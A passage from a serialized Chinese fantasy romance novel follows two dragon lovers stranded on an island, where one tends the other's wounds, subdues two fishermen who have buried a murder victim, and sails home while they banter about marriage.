视线变得模糊,陶清观胡乱抹了两下眼睛,他缓缓吐出一口气,拿出医疗用品为宴氿包扎。 出门前,陶笠鹤担心他的安危药品没少带,急救用品也是一应俱全,但美中不足的时,没有麻药,不过就算有,也没法给宴氿用。 龙百毒不侵的代价就是对治病的药也不敏感。 陶清观握着手术刀,割下宴氿伤口处坏死的部分,他仔细缝合伤口,然后用纱布和绷带为宴氿包扎。 野外没法保证无菌,他只能尽量将所有东西一一消毒。 待处理好所有伤口,陶清观手都在抖,多年的从医经验告诉他,宴氿这种情况大概率是没救了,车祸送来的都没这么惨。 他垂下眼眸,轻抚宴氿的脸颊,喃喃自语道:“你怎么也跟上来了,有那么多条龙在还不放心吗?” “会没事的……” 最后一句话,陶清观不知道是在安慰宴氿,还是在安慰自己。 他站起身,将周围收拾出来,宴氿现在的情况不适合移动,至少得等两天,让伤口长起来。 陶清观在自己逆鳞中翻找,抛去医疗物品,衣服和法器,他这就剩一堆吃的,还都是零食,没什么营养。 他心底懊恼,早知道就不把日用品全放宴氿那了,现在他想搭个帐篷都没办法。 无奈之下,陶清观就近找了个山坡,哐哐捶出一个山洞来,确认洞挺结实,陶清观将地方收拾平整,轻手轻脚地将宴氿搬进来。 担心宴氿睡得不舒服,陶清观把衣服一股脑的拖出来,给宴氿垫十层,盖三层,还贴心地叠出一个枕头给宴氿枕着。 陶清观蹲在宴氿身侧,望着对方苍白的面容,眼底有些难过,“我去抓条鱼,你在这等我。” 这座岛一眼望得到边,总共没几亩地,植物野蛮生长,遍布土坡,这座岛上除却偶尔路过的海鸟,陶清观再也没看到其他动物。 但即使这样,陶清观还有点不放心,他特地挑了一回头就能看见洞窟的海滩捉鱼,还用上灵封锁鱼逃跑的路径,抓到三条鱼,将鱼鳞内脏剔除,陶清观匆匆往回赶。 回到山洞,做饭又成了个新问题,他没锅,也没炭。 陶清观长叹一口气,在宴氿身边坐下。 “我叫陶滨逊,你叫……”陶清观略微思索,“今天好像是星期六,星期六啊,我们要上演荒野大求生了。” 陶清观说着,自己都感觉有些牙疼。 他控风砍了些柴火,费了老鼻子劲才把火升起来,这时候陶清观就恨自己不是一条赤龙,钻木取火可太难了。 做好简易烤架,陶清观把鱼放上去考,海鱼本身就带着点盐分,那么……不放盐还是很难吃。 陶清观咬了一口,味同嚼蜡,他盯着手中的鱼,仿佛有什么深仇大恨。 他还是第一次做出这么难吃的东西。 陶清观看看手里的鱼,又看看宴氿,犹豫着要不要喂点。 华人刻在骨子里的习惯,受伤要多吃,生病要多吃,甚至捡到活物第一反应就是要不要喂点吃的,宴氿都这样了,不吃哪撑得住。 陶清观拿着鱼挪到宴氿身旁,轻轻戳了戳宴氿的脸颊,“醒醒。” 宴氿没有回应。 陶清观凝聚出小水珠,从唇瓣的缝隙塞进去,看见宴氿无意识地吞咽,陶清观松了口气。 还不错,能喂点。 他控风将鱼肉捣烂,捏开宴氿的嘴,伴着水将鱼肉送进宴氿口中。 陶清观捏住宴氿环状软骨下方,用力上抬,促进宴氿吞咽,这手法还是他跑病房的时候学的,主要用于照顾脑瘫中风患者。 就这样,陶清观喂了大半条鱼,感觉差不多,他把鱼放下,为宴氿擦嘴。 “唉,我是挺想你落到我手上的,但不是这么个落法。”陶清观摇头叹气,“果然不能找年龄太大的对象。” 说完,他盯着宴氿看,对方双眸紧闭,没有一点反应,陶清观面上有失落一闪而过,他低下头,眸光闪烁,小声嘟囔着。 “快点醒吧。” 第128章 第 128 章 陶清观:你骑我? 陶清观将柴火收拾好, 在宴氿身旁躺下,他偏过头,看着宴氿的侧颜, 心底静不下来。 他抿起唇, 面向山洞顶端,闭上眼, 强迫自己休息一会儿,体内翻涌的灵刚刚平息,五感提升到一个前所未有的高度, 让陶清观极其不适应。 心跳声在耳畔回响,陶清观呼吸不稳,他睁开眼,一手撑着地面坐起身,眸光落在宴氿身上, 他抬起手,食指放在宴氿鼻子下面,感觉到呼出的气体, 他松了口气。 还活着。 宴氿是龙, 这些伤对人类来说致命,但对于龙来说, 只算伤得比较重, 大概…… 陶清观重新躺回去,往宴氿身旁挪了点, 他侧过身, 把手轻轻放在宴氿胸膛上,感受到细微的起伏,他唇瓣绷紧, 手指蜷缩起。 躺了没多久,陶清观又坐起来,把手指伸到宴氿鼻子下面,得到安心的答案,陶清观躺回去。 几次下来,陶清观自己都感觉自己有点神经质,他摁着左胸膛,长吁一口气,这会儿不给自己找点事做,根本静不下来。 陶清观盘腿坐着,他捏了捏鼻根,抬眸望向山洞外,按照一般发展,流落荒岛后,就该打开种田文剧情了。 他一手托着下巴,搜寻着视野内的植物。 嗯……看不出来能不能吃,但感觉都不好吃,还是吃鱼吧。 陶清观果断放弃,要是吃到有毒的,不对,好像也没什么事,宴氿耐造,陶清观若有所思,忽然他脑海中浮现一连串画面,是传承中的内容。 他从头看到尾,大脑瞬间明朗,他低头揪了一把身旁的杂草,调动身体里特殊的那部分灵,浅浅的绿光亮起,杂草在他手中疯长,这是属于青龙的能力。 陶清观咂嘴,又试了几次,发现两种灵能相互转换,根据传承中的方法,很快他就得心应手。 也不知道是龙族传承本身的特性,还是小渡给他的优待,只要他想得知某些内容,他的脑海中就会自动得出答案,就跟装了个百科全书似的,还会送些附带内容。 比如现在。 看到后面的内容,陶清观眼眸亮起,这些特殊的灵还有治愈伤口的功效,他连忙回到宴氿身边,将灵运到宴氿体内。 担心效果不好,陶清观将自己能够调动的灵一股脑儿塞进去,他面色微白,眸光紧盯着宴氿,可等了半天,也不见宴氿有苏醒的趋势。 陶清观眼底闪过一丝失望,他安慰自己,耐心点,这么重的伤躺十天半个月也是正常,与其在这边着急,不如专心恢复灵,再给宴氿塞点。 他沉下心,吸收周边的灵,不一会儿他的灵就完全恢复,速度比他预想中快了十几倍,陶清观诧异,他感觉其中一部分灵的来源并不是外界,而是一种他说不上的地方。 但不管怎么样,灵都恢复了,陶清观没怎么纠结,再次将特殊的灵运送给宴氿。 就这么来来回回,陶清观都快养成肌肉记忆了。 眼看天暗下来,他抖开一件外套,和衣躺下,他牵住宴氿的手,想着睡前再送一次,就在这时他感觉宴氿的手指微微动了一下。 陶清观一下子坐正,扭头去看宴氿,出声道:“宴氿?能听见我说话吗?” 宴氿无意识呓语,他眉心紧皱,像是陷入噩梦一般。 陶清观轻轻推了宴氿两下,提高音量,“醒醒,宴氿。” 许是听到陶清观的声音,宴氿缓缓睁开眼,他的目光没有聚焦,神情也有些迟钝。 陶清观心底不安,比了个三在宴氿眼前晃晃,“能看见吗?这是几?” 宴氿嗓音沙哑,“……三。” 还好,没傻。 陶清观指向自己,问道:“还记得我是谁吗?” 宴氿眸光微闪,唇瓣微张着没有说话,眼底似有疑惑浮现。 陶清观一颗心提起,不是吧,总不能失忆了,这种狗血剧情也能发生在他身上!? 下一秒,宴氿眉眼弯弯,笑道:“陶囡囡。” 陶清观扯了下唇角,面上神情收敛,他抬手戳在宴氿伤口处,冷声道:“不皮这一下,你难受?” 宴氿夸张地哎呦一声,“我都这样了,你居然忍心下手。” 陶清观没好气地翻了个白眼,身体却很诚实地向宴氿靠近,他避开宴氿的伤口,伏在宴氿身旁,想再骂对方两句,可话到嘴边又变成,“你终于醒了。” 宴氿心中一怔,他搂住陶清观,轻拍对方的后背,柔声道:“抱歉,让你担心了。” 陶清观不语,只是将脑袋埋在宴氿颈窝处,感受着对方的体温。 宴氿莞尔,对陶清观撒娇的举动照单全收,他垂下眼帘,开口道:“明天,我们回家吧。” 海中虽然自在,但他更想念那个属于他和陶清观的家。 陶清观蹭了下宴氿,抬起头,“我倒是无所谓,但你有想过我们怎么回去吗?” “我带你……” 话说到一般,宴氿消音,他望着陶清观的目光,话语中染上那么一丝不确定,“应该没问题。” 陶清观面无表情,问道:“变回龙形,缝合线和伤口会裂开吗?” 宴氿沉默,经验告诉他,会。 不仅如此,缝合线绷开还会造成二次伤害,他觉得自己皮糙肉厚没什么大碍,但显然陶清观不这么想。 “不行。” 陶清观一口否决,不留丝毫余地,“我们可以慢点回去,不着急。” 他想过让宴氿骑着自己的龙形回去,但是吧,虽然他长大不少,但他的龙形不过成人小腿粗细,让他带宴氿,他倒是无所谓,但宴氿估计不忍心骑。 事已至此,慢也只能慢点。 宴氿无奈,“听你的。” 他捏了下陶清观的脸蛋,开口道:“先起来,我把帐篷拿出来。” “哦。” 陶清观坐起身,看着宴氿把一堆东西拿出来,见对方要动手,他立即阻止,“我来弄,你坐着就行。” 他抢过宴氿手里的东□□自整理好,觉得光帐篷睡得还不够舒服,陶清观开口道:“我记得爷爷买了充气床垫,你带了吗?” “有是有,但不用……” 陶清观打断:“给我。” 宴氿妥协,他一手搁在屈起的膝盖上,看着陶清观忙前忙后,调侃道:“我们像是出来野营的。” “总比像流浪汉好。”陶清观腾出一块干净的地,对宴氿道:“到这边躺下,你别乱动,伤口还没长好,要我扶你吗?” “不至于。”宴氿站起身,跟没事人似的走到帐篷里坐下,他顺手把陶清观薅进怀里,好好检查了一番,“你呢,有没有哪里不舒服?” 陶清观过龙门看得宴氿心惊肉跳,即使知道龙门的馈赠会修复伤口,他还是不放心。 “我没事。”陶清观握住宴氿摸来摸去的手,他摁着宴氿的肩膀,让人躺下,然后将剩余的灵继续送往宴氿体内,“你现在需要休息。” 宴氿反握住陶清观的手,眉尖上挑,“青龙的能力?用得还挺熟练。” 陶清观嗯哼一声,“对了,在这里我灵恢复的速度特别快,是因为大海吗?” “不是,是因为契约。”宴氿把玩着陶清观的手,“你忘了,陆地是我共享你的灵,而在海洋则是反过来。” 陶清观沉默。 所以说他是把宴氿的灵抽过来,又送给宴氿,好一个取之于民而用于民,折腾一通,灵跑了个八百米。 见陶清观眉心皱起,宴氿笑道:“还是有用的,我的灵可没治愈的功能,毕竟我是条没什么用的白龙。” 白龙没有第二属性,据说控水能力会更强,但白龙稀少,这事也没个确凿的说法。 陶清观掐住宴氿的脸颊,“行了,快睡。” “陪我。” 宴氿向陶清观伸出手。 陶清观本想趁宴氿休息去煲个汤,可对上宴氿带着一丝祈求的眼眸,他叹了口气,靠着宴氿躺下。 宴氿难得有依赖他的时候,陶清观心底有隐秘的窃喜,但他面上不显,反而一副真拿你没办法的样子。 “这样行了吧,快睡。” 宴氿唇角弯起一抹弧度,他揉了下陶清观柔软的发丝,闭上眼睛。 这一觉睡得更沉的反倒是陶清观,第二天醒来,陶清观看到空空如也的身体,一骨碌爬起来。 他快步走到洞外,看见宴氿单手正颠着铁锅炸鸡蛋,陶清观瞬间血压飙升。 “你在干什么!?” 宴氿一激灵,“做……做早饭?” “把锅放下。”陶清观快步走过去,夺过宴氿手上的东西,宴氿这种病人,向来是医生最头疼的存在,他瞪向宴氿,“你能不能有点伤员的自觉,不许做大幅度的运动。” 宴氿迟疑:“我觉得……” “我不要你觉得,我要我觉得。”陶清观冷声否决,开口赶人,“自己找个地方坐着,剩下的我来。” 宴氿不敢吱声,默默走开。 他抬起手,看了眼胳膊上的绷带,老实说都不怎么疼了,不过看到陶清观发火的样子,宴氿下意识怂了。 惹不起,惹不起。 陶清观煮了锅鸡蛋面,又烫了几颗青菜作为点缀,他端着碗放到折叠桌上,又拿了双筷子给宴氿,“慢点吃,小心烫。” “嗯。” 宴氿挑起一筷子面晾凉,瞥见陶清观鼓着腮帮子吹起,他眉眼微弯。 好可爱。 就在这时,宴氿忽然听见细微的窸窣声,风吹不出这样的声音,要么是小动物,要么是人,他动作一顿,回眸望向山坡。 陶清观咽下口中的面,眨了眨眼,问道:“怎么了?” 宴氿:“好像有人在。” 陶清观:“!?” 山坡另一边。 “老刘,这样真的就没问题了吗?”吴三才用袖子擦着脑袋上的虚汗,握着铁锹的手攥得紧紧的。 刘老于哼了一声,“那些事迹败露的,都是因为没好好处理,把shi体沉海后就不管了,shi体顺着洋流飘上来,就全玩完了。” “但我们不一样,这地方前不着村后不着店,鸟来拉屎都嫌路程远,把尸体埋这,谁能找到我们两头上。” 吴三才觉得刘老于这番话说得很有道理,悬在空中的心稍微安定,他抬起铁锹帮刘老于一起把最后的土添上,他心存侥幸,“说不定过两年这岛就沉了,到时候更死无对证。” “没错,我……” “喂,你们是从哪来的?” 突如其来的声音吓得两人一哆嗦,吴三才差点把手里的铁锹扔出去,他如生锈的机械般僵硬地转过头,看见两位身穿华服的男人走近。 荒郊野道,穿着古装,不知道是人是鬼。 吴三才两股颤颤,六神无主地望向刘老于,“这、这……那东西?” “呸,什么那东西,他们有影子,还是大白天,是人。”刘老于将铁锹扔一旁,换做震惊地表情走上前,“你们是来拍戏取景的?” “不是。”陶清观摆摆手,“我们的船出了点意外,沉了,我们被迫留在这岛上,没想到能遇见人,这位大哥你们的船有位置吗?放心,我们会给钱的。” 刘老于见陶清观二人衣着富贵,心底动起歪心思,他哈哈笑道:“我们船虽然不大,但再带两个人是没问题的,能遇见也是有缘,钱,你们看着给点就行。” “谢谢大哥。”陶清观视线扫过刘老于和吴三才手上的铁锹,目光微不可查地一顿,“我姓陶,叫陶氿,他叫宴清,两位大哥怎么称呼?” “叫我老刘,叫他老吴就行。”刘老于咧着嘴笑,他黑黝黝的皮肤衬得他的牙白花花的,他踢了下地上的铁锹,开口道:“我两是来挖海岛植物的,这玩意最近有人收,好些都能卖个好价钱。” 吴三才附和,憨厚老实的脸上挂着讨好的笑容,“是啊,现在捕鱼赚钱难,只能找点别的法子补贴家用。” “这样啊。”陶清观微笑,“需要我们帮忙吗?” “不用不用。”刘老于连连拒绝,“这是脏活,你两穿的这身好衣服可别糟蹋了。” 陶清观没强求,他余光不着痕迹地撇过铁锹尖端暗色的污渍,抬手拉住宴氿地胳膊,对刘老于道:“我们山坡前边扎了帐篷,煮了点吃的,你们要不来休息会儿?” 刘老于:“哟,你们设备还挺全。” “运气好,跟物资一起飘过来的。”陶清观指着不远处地树荫,“我们在那等你们,等你们忙完一起回去?” 他的行动举止挑不出错处,完美诠释害怕救命稻草溜走的心理。 刘老于心底的怀疑减轻,他回了句行,待陶清观跟宴氿走远,他拿起铁锹背过身。 吴三才心中没底,埋着头小声问道:“他们听……” 刘老于一个冷眼瞪过去,打断吴三才的话,他话中意有所指,“赶紧把活干完,没看有人等着呢。” “……好。” 吴三才唯唯诺诺地低下头,双手握着铁锹柄,一声不吭地挖土。 刘老于填完坑,装模作样地在周边挖了些植物,招呼吴三才拿口袋装好,感觉不会露馅,刘老于这才去找陶清观二人。 “让你们久等了,我们走吧。” 陶清观:“没事,我来带路。” 他跟宴氿走在前边,宴氿想说什么,陶清观捏了下宴氿的手,冲对方露出一个笑容。 宴氿把话又咽回去,他在心底轻啧一声,这小鬼肯定看出不对劲,故意遛着对方玩,而那个老刘,估计是看年轻好骗,就顺着陶清观的话说了下去,毕竟单陶清观这张不谙世事的脸,就欺骗性十足,像极了有钱的冤大头。 那两人多半不是什么好人,陶清观能有警惕心就好。 第129章 第 129 章 陶清观:我们也回家。…… “就是这边, 锅里还有点面,你们要吃吗?” 陶清观提前收了一批东西,剩下的瞧着虽然有点夸张, 但也在常规范围内。 刘老于从早上就没吃过东西, 听到陶清观的话还真有点饿,瞥见吃完还没收拾的碗筷, 他心下稍安,扬着笑脸坐下,“这真是赶巧了。” 一旁的吴三才赔笑跟着坐下, 客气道:“谢谢啊。” 陶清观回以微笑,他拉着宴氿,对刘老于二人道:“你们先吃,我们去收拾一下行李。” 刘老于嗯了一声,冲陶清观挥挥手, “需要帮忙尽管跟我们说。” “好。” 陶清观牵着宴氿走进山洞,他背过身装模作样地蹲下收拾垫子,压低声音对宴氿道:“他们铁锹上的污渍应该是血, 不知道是什么东西的。” 但荒岛挖坑埋东西, 埋得是什么不要太好猜。 宴氿开口道:“挖出来看看就知道了。” “不行。”陶清观摇头,“这两人看得紧, 我们没机会。” 宴氿挑眉, “需要在意他们?” 两个普通人,就算手里有武器, 也不可能是他们的对手。 陶清观还是摇头, 他一脸严肃地问道:“你会开船吗?” 宴氿:“……不会。” “我也不会。”陶清观摊手,“把他两收拾了,谁给我们开船, 所以先跟他们学一下怎么开船,再动手也不吃。” 这叫物尽其用。 宴氿莞尔,“不会开也没关系,风自能推我们回去。” 陶清观一愣,好有道理哦,还是人当久了没反应过来,既然这样…… 他扭头望向正在吃面的两人,对方注意到他的视线,高声说道:“是需要我们帮忙吗?” 陶清观点头,“嗯,东西有点多。” 刘老于眼珠子转悠,他不认识几个大牌,但也用得出来这些都是好东西,听到陶清观说里面东西多,他那点歪心思冒出来。 把人带回去风险太大,这两人知道岛的位置难保以后不会说出来,不如直接把人解决,拿他们的东西去卖也能赚上一笔。 打定主意,刘老于拱了下吴三才,暗地里冲对方比了个手势。 吴三才心底一惊,声音细若蚊呐,“要不算了……” 刘老于冷笑,“他们可都看见了,要是以后他们又来这岛上,我们的事就全暴露了。” 吴三才咽了口唾沫,一颗心摇摆不定,最终还是害怕事迹败露,点头答应下来。 他跟在刘老于身后,向山洞走去。 刘老于咧着一口白牙,走到陶清观跟前,他搓着手,问道:“要搬哪个?” 他装模作样地四处看着,瞥见地上散落的珍珠,刘老于眼睛都亮了,以他常年生活在海边的经验,这些珍珠都是真的,并且个个价值不菲。 刘老于眼底浮现贪念,如此贵重的物品,陶清观二人居然随手扔在地上,他们身上肯定还有更值钱的东西。 陶清观顺着刘老于的目光看过去,发现地上的珍珠,这时他昨晚拿出来当夜灯的夜明珠,今早醒来忘记收了。 珍珠在他这是最常见的小玩意,陶清观弯腰捡起珍珠,注意到刘老于的视线随着自己的动作一起移动,他唇角扬起一抹弧度。 陶清观随手把珍珠揣进兜里,对刘老于道:“这个包拜托你了,稍微有点重。” “好嘞。”刘老于撸起袖子,冲一旁的吴三才使眼色,示意对方过来搭把手。 他心底盘算着,把东西都搬到船上,然后趁陶清观二人不注意,用铁锹把人解决。 陶清观看着弱不禁风,而宴氿虽然个子高大,但身上有伤,也不足为惧,但保险起见,可以在这两人吃的东西里加点料。 刘老于衡量着用哪种方法,忽然旁边多出一道声音。 “直接用铁锹比较方便吧。” 刘老于认同:“确实……啊,你!” 哐当! 陶清观反手将铁锹盖在刘老于头上,待对方直挺挺地倒过去,他扭头望向一旁震惊的吴三才。 “你怎么说?” 吴三才眼睛瞪得突出眼眶,“你、你哪来的铁锹。” 陶清观耸肩,一副理所应当的模样,“你们的。” 吴三才嘴里咕哝了一句,陶清观没听懂,估计是某个地方的方言,像是骂人的,吴三才死死盯着陶清观,从衣服里拿出一把刀横在胸前,神情凶恶道:“后退!” 他左顾右盼,心底衡量着对策,陶清观手边有铁锹,又是个年轻人,相比之下受着伤的宴氿更适合当突破口。 吴三才果断举起刀向宴氿砍去,他眸光狠辣,刀刃对着宴氿的脑袋,直奔性命而去。 宴氿脚下不动,他瞥见吴三才眼底扭曲的喜意,眉心微蹙,在吴三才冲到面前的那一刻,宴氿接住刀刃,手指用力。 只听咔嚓一声,刀身在他手中碎成两半。 吴三才扑了个空,没收住脚,一脑袋撞到墙壁上,他踉跄几步跌坐在地,面上写满惊慌失措。 他手忙脚乱地向后挪动,哆哆嗦嗦地说道:“我、我是被强迫的!是他杀了人,我恰好看到……” “你刚刚的样子可不像被强迫的。”陶清观掂量着手中的铁锹,对吴三才生不出丁点同情。 这人看着老实,心肠确实黑到不能再黑。 吴三才拼命摇头,“我没事,是他逼我的,我没想对你们下手!我……啊!” 陶清观一铁锹拍在吴三才脑袋上,嫌弃道:“叽里咕噜说什么呢。” 他踹了踹昏迷的吴三才,确认对方真的失去意识,才将铁锹扔到一旁。 陶清观快步走到宴氿跟前,拿起对方的胳膊打量,嘴里念叨着:“伤口有没有裂开?你跟他动手干嘛,让我来就行,伤口裂开很麻烦的。” “我没事。”宴氿任由陶清观对自己上下其手,他一手揽着陶清观的腰,问道:“他们两个怎么处理?” 陶清观略微思索,“我来处理。” …… 刘老于醒来时感觉自己动弹不得,口干舌燥,他挣扎着睁开眼,迎面对上耀眼的阳光。 想起昏迷前发生了什么,他心底低咒一声,小看那两个小白脸了,他得找机会逃跑。 刘老于打量四周,想找逃跑的方法,却不想看到吴三才的脑袋放在地上,对方双眼紧闭,鼻青脸肿。 “啊!” 刘老于脑子一懵,下意识想远离,可四肢动弹不了分毫,他低下头,这才发现自己身体被埋在土里,只留了个脑袋在外面。 “哟,醒了?” 陶清观在不远处蹲着,他戴着手套,面前个是打开的麻袋,里面的尸体已经开始腐烂,散发出来的气味十分难闻。 他踱步走到刘老于跟前,问道:“他是什么人,你们为什么要杀他?” 刘老于紧咬着下唇,一副誓死不答的样子。 陶清观挑眉,伸手摸了下刘老于的脸,沾满不明物体的手套就这么跟刘老于来了个亲密接触,黄绿色的液体沿着刘老于的唇缝滑落。 刘老于没忍住,当场干呕出声。 “我说,我说!你把手拿远点。”刘老于自知逃跑无望,面如死灰,“我们偷东西时正好被他看见,他想叫人,我就推了他一下,都怪他命不好,这么容易就死了,还连累我们。” 陶清观笑容玩味,重复道:“命不好?” 刘老于不说话,低着头不看陶清观。 陶清观扯了下唇角,他将手套脱下一只,掐住刘老于的下颌,反手将手套塞进刘老于的嘴里,然后给刘老于把颞颌关节卸下。 他站起身,瞄向一旁的吴三才,对方双眸紧闭,可急促的呼吸声却暴露了他的状态。 陶清观走过去,把另一只手套摘下,如法炮制。 解决完两人,陶清观拍拍手,走向宴氿,没走两步,宴氿叫出他。 “先洗手。”宴氿握住陶清观的手腕,里里外外仔仔细细地擦了一遍。 陶清观咂嘴,“不至于吧,我又没碰到。” 宴氿眉头拧成一个川字,“那也不行。” 行叭。 陶清观乖乖让宴氿擦手,等宴氿擦完,他从口袋里拿出一个小方盒子,盒子外面沾着血污,因剧烈撞击,盒体有些变形,但里面的戒指完好无损。 这是他从尸体裤子口袋中摸出来的。 陶清观面上的笑意收敛,指腹摩挲过盒子的边缘,戒指是女款,看样子是刚买的,只不过戒指的主人没机会将戒指送出去了。 “走,看看我们的船。”陶清观收起盒子,招呼宴氿往海边走。 刘老于二人的船挺显眼,靠在海岸边,船体陈旧,但体积并不小,比普通游艇还要大上一些,上边的东西一应俱全。 陶清观走进船舱,湿热的空气里弥漫着难闻的味道,没走几步,陶清观就被宴氿拉出来。 “我们住上边,这里留着关那两个人。”宴氿面上的嫌弃不加掩饰。 尸体原本估计是放在船舱里的,味确实有点大。 “行,等走的时候把他们两挖过来。”陶清观开口道:“这里应该有储藏室,尸体可以运进去,再放点冰块,能延缓腐烂的时间。” 陶清观想放那两个家伙在这自生自灭,又觉得太便宜他们,刘老于二人最后的归宿只能是刑场。 宴氿面上虽然嫌弃,但并没有阻止陶清观带尸体,甚至还帮忙搬运。 处理好一切后,陶清观踏上甲板,在离开前,他回眸望向这片海域,“……小渡它还在这吗?” 宴氿抬手揉了下陶清观的发丝,眉眼柔和,“它已经回家了。” 陶清观唇瓣微张,话到嘴边又不知该说什么,他抿起唇,握住宴氿的手,过了好一会儿才低声喃喃道:“我们也回家。” 第130章 第 130 章 陶清观:你现在虚,悠…… 星子点缀在夜幕之上, 徐徐海风迎面吹拂,船身慢慢悠悠地晃着,偶有小鱼跃出水面, 溅起白色的水花。 陶清观躺在床垫上, 百般无赖地望着星空,今夜万里无云, 银河如流水倾泻而下。 躺了半天毫无睡意,陶清观坐起身,动作间, 手碰到裤子口袋中的东西,他一顿,将盒子拿了出来。 “还在看这个?”宴氿从驾驶舱中走出来,手里端着新鲜的水果,“回去让陶笠鹤派人去查, 找到他想送戒指的对象并不难。” “嗯。”陶清观将盒子放在旁边的矮桌上,并没有解释自己只是忘记把盒子拿出来。 宴氿在陶清观身旁坐下,拿起一颗小西红柿喂到陶清观嘴边, 问道:“不开心?” 陶清观叼过西红柿, 扭头望向宴氿,对方神色平静, 看不出半点哀伤, 似是冷心冷肺,又似是早已习惯。 他嚼了两下, 咽下口中的西红柿, 轻声叹道:“这次出来尽忙着道别了。” 宴氿闻言,放下手中的盘子,向陶清观招了招手。 陶清观歪脑袋, 等了几秒,还是凑过去,下一瞬,唇瓣上传来柔软的触感,他睁大眼眸,没料到宴氿会亲上来。 老古板心血来潮想野zhan? 陶清观心底哦呦一声,身子顺着宴氿的动作后仰,他一手撑在垫子上,另一只手攀上宴氿的颈脖,偏过头加深这个吻。 缠绵的呼吸声在唇齿间暧昧倾诉,陶清观衣襟微敞,眼底氤氲着迷离之色。 他捧起宴氿的脸颊,轻啄对方的唇角,哂笑道:“你不会是想说不管怎么样,你都会陪在我身边吧。” 宴氿眼底倒影着陶清观的笑颜,他垂下眼帘,喉结滚动,“不……回去后,我们结婚吧。” 陶清观:“……啊!?” 他眼眸瞪得圆溜溜,实在没搞懂话题是怎么跳到这个上面,他望着宴氿认真的神情,欲言又止。 “你不愿意?”宴氿贴着陶清观,语气中透露着一丝委屈。 “倒也不是……”陶清观无奈,“我们刚订婚,这才过多久,有点太快了。” 宴氿不语,只是把陶清观圈进怀里,他坐在陶清观身后,胸膛与陶清观的后背紧贴着,他蹭了下陶清观的脸颊,低声道:“不可以吗?” 陶清观语噎。 他就没见过订婚宴和结婚靠这么近的,这不纯纯折腾人。 陶清观委婉地问道:“你怎么突然想起这回事?” 宴氿身子微不可查的一僵,他附在陶清观耳边,轻声说了几个字。 陶清观没听清,“什么?你声音说大点。” 宴氿唇瓣抿起,扣住陶清观的手,他一胳膊横在陶清观腰上,微微收紧,“想zuo。” 陶清观脑袋上缓缓冒出一个问号,他用一种新奇的目光打量宴氿,想打开对方脑袋看看,是不是被人魂穿了。 不过也像宴氿能说出来的话,对方在这方面确实有着奇怪的执着。 陶清观嘴角抽搐,拨开宴氿的手,面无表情道:“我拒绝。” 不待宴氿开口,陶清观回头瞪向宴氿,“你洗个澡都不愿意给我看,还想着更进一步?” 宴氿:“我……” “哼。”陶清观打断宴氿,向上翻了个白眼,“你不会打算就拉点裤子,留个缝露出j……唔。” 宴氿捂住陶清观的嘴,阻止对方再说出惊天之语,他耳尖飘红,面上摆出严肃的表情,“不许把这种挂在嘴边。” 陶清观白眼翻得更大了,他敷衍地嗯了两声,等宴氿放开手,陶清观接着道:“你是想直接用油条加两蛋跟我做吗?” 隔了一秒反应过来的宴氿,“……我不是。” 宴氿长叹一口气,将下巴搁在陶清观肩膀上,“我只是觉得那种事该留到新婚之夜。” 陶清观眨了眨眼,“我倒是无所谓。” 他和宴氿都订婚了,正当的情侣关系,发生点负距离接触也合情合理。 宴氿闷声应了一声,他将脸埋在陶清观颈窝处,开口道:“但你既然愿意托付与我,我就想给你些实质性的保障。” “这个简单。”陶清观脱口而出,“你托付给我就是了,我不介意这个,你放心,我会好好对你的。” 他说着,挤出一条胳膊,暗搓搓拍了下宴氿的屁股。 宴氿:“……” “而且我们国家没有和同性结婚有关的法律法规。”陶清观摊手,“也就是说我们领不了结婚证,更别说什么保障了,都一样。” 宴氿:“…………” 他沉默地搂紧陶清观,看背影像是自闭了。 陶清观在心底啧啧两声,不行啊,他还没说几句呢,这就不行了。 他避开宴氿的伤口,轻轻拍了宴氿两下算是安抚,“别灰心嘛,婚姻这东西全靠自觉,就算有法律保护,也有不少人钻空子,我相信你不是那种龙,没关系的。” 宴氿无言以对。 谢谢,并没有被安慰道。 他抬起头,眸光幽幽地望着陶清观,修长的手指挑起陶清观的腰带,嗓音低哑,“既然这样……” 陶清观按着宴氿的手,“不行。” “你身上有伤。”陶清观眼神怜悯,“我是医生,你要谨遵医嘱,不许剧烈运动。” 宴氿:“我……” “乖。”陶清观拍拍宴氿脑袋,“你现在气血不足,俗称虚,不要为难自己。” 话一说完,陶清观立即变成龙形,他在宴氿腿上盘成一坨,优哉地晃着尾巴尖,“睡觉睡觉。” 宴氿话到嘴边梗住,不上不下,他捏住陶清观的龙角,陶清观懒洋洋地抬头瞥了他一眼,宴氿抬起的手指轻轻落下。 他戳了下陶清观嘴筒子,没好气道:“尽会耍赖。” 陶清观脑袋一昂,避开宴氿的手,尾巴顺势缠住宴氿的手腕,他把自己拉直,摊在宴氿身上,“之前给你那么多次机会,你不珍惜,现在晚咯。” 宴氿瞧着陶清观得意的小模样,眼眸微微眯起,他捏住陶清观的前爪,在陶清观没反应过来之前,倏然转身,将小龙压在身下。 陶清观圆溜溜的眼睛里浮现疑惑,下一秒,宴氿埋在他肚皮上,手不安分地挠他痒痒,陶清观噗嗤一声笑出来,差点给自己拧成麻花。 “撒、撒手,哈哈哈哈……”陶清观尾巴甩得啪啪响。 宴氿生出一点不妙的预感,他立即松手,但还是迟了一步,船板被陶清观甩出一个窟窿。 陶清观听到声音,扭头望去,他默默挪了挪身子,一脸无辜道:“是你动的手。” 宴氿、宴氿能怎么办。 他搂着陶清观前爪,拖着一长条起身,认命地收拾烂摊子。 陶清观下半身左右晃悠,他张开嘴打了个哈欠,脑袋搁在宴氿小臂上,迷迷糊糊闭上眼。 等宴氿发现,陶清观已经睡着了。 看着睡得没心没肺的小龙,宴氿莞尔,他躺回垫子上,靠着陶清观,渐渐睡去。 船晃晃悠悠,风吹往家的方向。 …… 陶清观听见耳边有交谈声,阳光洒在眼皮上,扰得龙睡不安宁,他想翻身滚到宴氿怀里,可一动感觉自己现在的姿势不对劲。 他睁开眼,视野内是熙熙攘攘的人群。 好多人啊……不对,现在在人堆里,那他!? “醒了?”宴氿摸了摸陶清观的脑袋,压低声音道:“委屈你一下,不要乱动。” 陶清观身子僵住,脑袋宕机了一会才理清楚现在的情况。 他在宴氿肩膀上绕了两圈,充当着围脖,周围来往的人群时不时偷来好奇的目光,得亏宴氿现在穿的是古装,才不显得那么突兀。 陶清观给宴氿整不会了,他用气音,咬牙切齿道:“你不会把我叫醒吗?” 宴氿抬手给陶清观顺毛,“看你睡得正香,嘶……” 他倒吸一口凉气,哭笑不得地摁了下陶清观的犬牙,开口道:“别什么都往嘴里送,我订了民宿,还是之前那家。” 陶清观哼哼两声,见有人看过来,他乖乖垂在那当围脖。 回到民宿。 